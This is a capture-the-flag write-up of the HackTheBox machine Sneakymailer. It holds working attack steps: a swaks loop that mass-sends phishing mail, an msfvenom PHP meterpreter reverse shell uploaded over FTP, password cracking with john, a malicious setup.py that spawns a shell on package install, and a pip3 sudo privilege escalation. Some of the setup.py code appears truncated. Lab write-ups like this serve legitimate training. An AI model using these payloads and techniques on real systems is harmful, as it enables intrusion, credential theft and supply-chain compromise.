HTB: Sneakymailer

Sneakymailer Card

This box is a writeup about a retired HacktheBox machine: Sneakymailer publish on July 11, 2020 by sulcud. This box is rated as a medium box. It implies some phishing, an IMAP server, a FTP server, Pypi and sudo.



Let us start as always by a nmap scan.

# Nmap 7.80 scan initiated Sat Jul 25 03:42:58 2020 as: nmap -p- -sSV -oN nmap
Nmap scan report for
Host is up (0.079s latency).
Not shown: 65528 closed ports
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp   open  smtp     Postfix smtpd
80/tcp   open  http     nginx 1.14.2
143/tcp  open  imap     Courier Imapd (released 2018)
993/tcp  open  ssl/imap Courier Imapd (released 2018)
8080/tcp open  http     nginx 1.14.2
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

There is a few open ports:

  • 21 FTP
  • 22 SSH
  • 25 SMTPD (email)
  • 80 Nginx (web)
  • 143 imap (mail)
  • 993 imap/ssl (mail)
  • 8080 nginx (mail)


When browsing the website we notice a list of email addresses. We copy them to a file an use cut -f 4 to get a proper list with the email only.

Nothing else on the website seems of interest.


As the port 25 is open, we can send email to the server. Our phishing email will contain a simple link to our machine

Hey try that:


We use swaks in order to automatically send our phishing email:

while read l; do swaks --to $l --server --body email; done <emails

We run a netcat listener on port 8080 in order to see the incoming requests and got some POST request containing a username and a password.

nc -l -p 8000
POST /test%0D HTTP/1.1
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded



It took me quit a long time to understand what these credentials where for. But as the IMAP port is open we can connect to it with a mail client. We launch evolution (already installed on Kali Linux) and configure it with the previous information (note that the user is paulbyrd).

We found two emails in the sent directory. The first on contain a password for the developer account.

Hello administrator, I want to change this password for the developer account

Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it

The second one is a address to low and give us some hint about one of the next step.

Hello low

Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience.


The developer account credentials allow us to connect to the FTP service. We see that we can write on the dev folder.

This also take me some time to figure out but we can access our uploaded file on the dev environment accessible at http://dev.sneakycorp.htb/test.

Therefore we generate a simple PHP meterpreter using msfvenom: msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT=4444 -f raw > lol.php and upload it on the FTP server.

write on ftp dev (webshell)
kali@kali:~$ ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( developer
331 Please specify the password.
230 Login successful.
ftp> cd dev
250 Directory successfully changed.
ftp> put lol.php
local: lol.php remote: lol.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
30687 bytes sent in 0.00 secs (7.3772 MB/s)

We run the metasploit handler and trigger our payload by browsing to http://dev.sneakycorp.htb/lol.php. This get us a shell as www-data.

meterpreter > getuid
Server username: www-data (33)



We browse the file system and found some pypi sub domain and a .htpasswd file containing an encrypted password.

meterpreter > ls
Listing: /var/www/pypi.sneakycorp.htb

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  43    fil   2020-05-15 14:29:53 -0400  .htpasswd
40770/rwxrwx---   4096  dir   2020-08-07 07:12:52 -0400  packages
40755/rwxr-xr-x   4096  dir   2020-05-14 18:25:43 -0400  venv

meterpreter > cat .htpasswd

We run john and the rockyou dictionary on it.

$ john hash -w=~/tools/password_lists/rockyou.txt --fork=8
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-opencl"
Use the "--format=md5crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Warning: OpenMP was disabled due to --fork; a non-OpenMP build may be faster
Node numbers 1-8 of 8 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
4 0g 0:00:00:05 5.58% (ETA: 14:16:12) 0g/s 19731p/s 19731c/s 19731C/s jeanix..jbhunt
soufianeelhaoui  (pypi)


This new credentials set allows us to access the PyPi server located at http://pypi.sneakycorp.htb:8080/.

I had never made a Python package, neither use that in order to get a reverse shell. A read a few article about make and uploading package to pypi.

We then construct a specific package with a reverse shell code in The structure of the package is the following.

├── build
│   └── lib.linux-x86_64-2.7
│       └── plop
│           ├──
│           └──
├── dist
│   └── plop-0.3.tar.gz
├── LICENSE.txt
├── plop
│   ├──
│   └──
├── plop.egg-info
│   ├── dependency_links.txt
│   ├── PKG-INFO
│   ├── SOURCES.txt
│   └── top_level.txt
├── setup.cfg

The code in is:

from setuptools import setup
import sys
import os
import socket
import pty
from setuptools.command.install import install
import getpass

if getpass.getuser() != 'kali':
    [os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")

name = 'plop',         # How you named your package folder (MyLib)
  packages = ['plop'],   # Chose the same as "name"
  version = '0.3',      # Start with a small number and increase it with every change you make
  license='MIT',        # Chose a license from here:
  cmdclass={'install': CustomInstall},

We build our package with python sdist and upload it to the PyPi server with twine:

twine upload --repository-url http://pypi.sneakycorp.htb:8080/ dist/* --verbose

At the same time we run a netcat listener on our Kali box and wait for the shell. We then have a shell as low and can access the user flag.

nc -l -p 4444

$ id
uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)

$ cat ~/user.txt
cat ~/user.txt


We put our ssh public key in the .ssh/authorized_keys file and connect to the box using SSH and run sudo -l. We found that we can run pip3 as root without password.

kali@kali:~$ ssh low@
low@sneakymailer:~$ sudo -l
^C^C^Csudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

We look at the GTFObins page for pip and run the commands to create a temporary directory, write a simple script executing a shell and installing this "script" as root which give us a root shell and allow us to read the root flag.

low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/
low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.FVBLBZ1NUO
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Wrapping up

The root part was really classic and easy. The user part was awesome! I learn so much on this box and the conception is clearly different from classical boxes as their is a lot of "interaction" with the "users" (phishing, pypi).

I clearly recommend this box for an "unexpected" journey.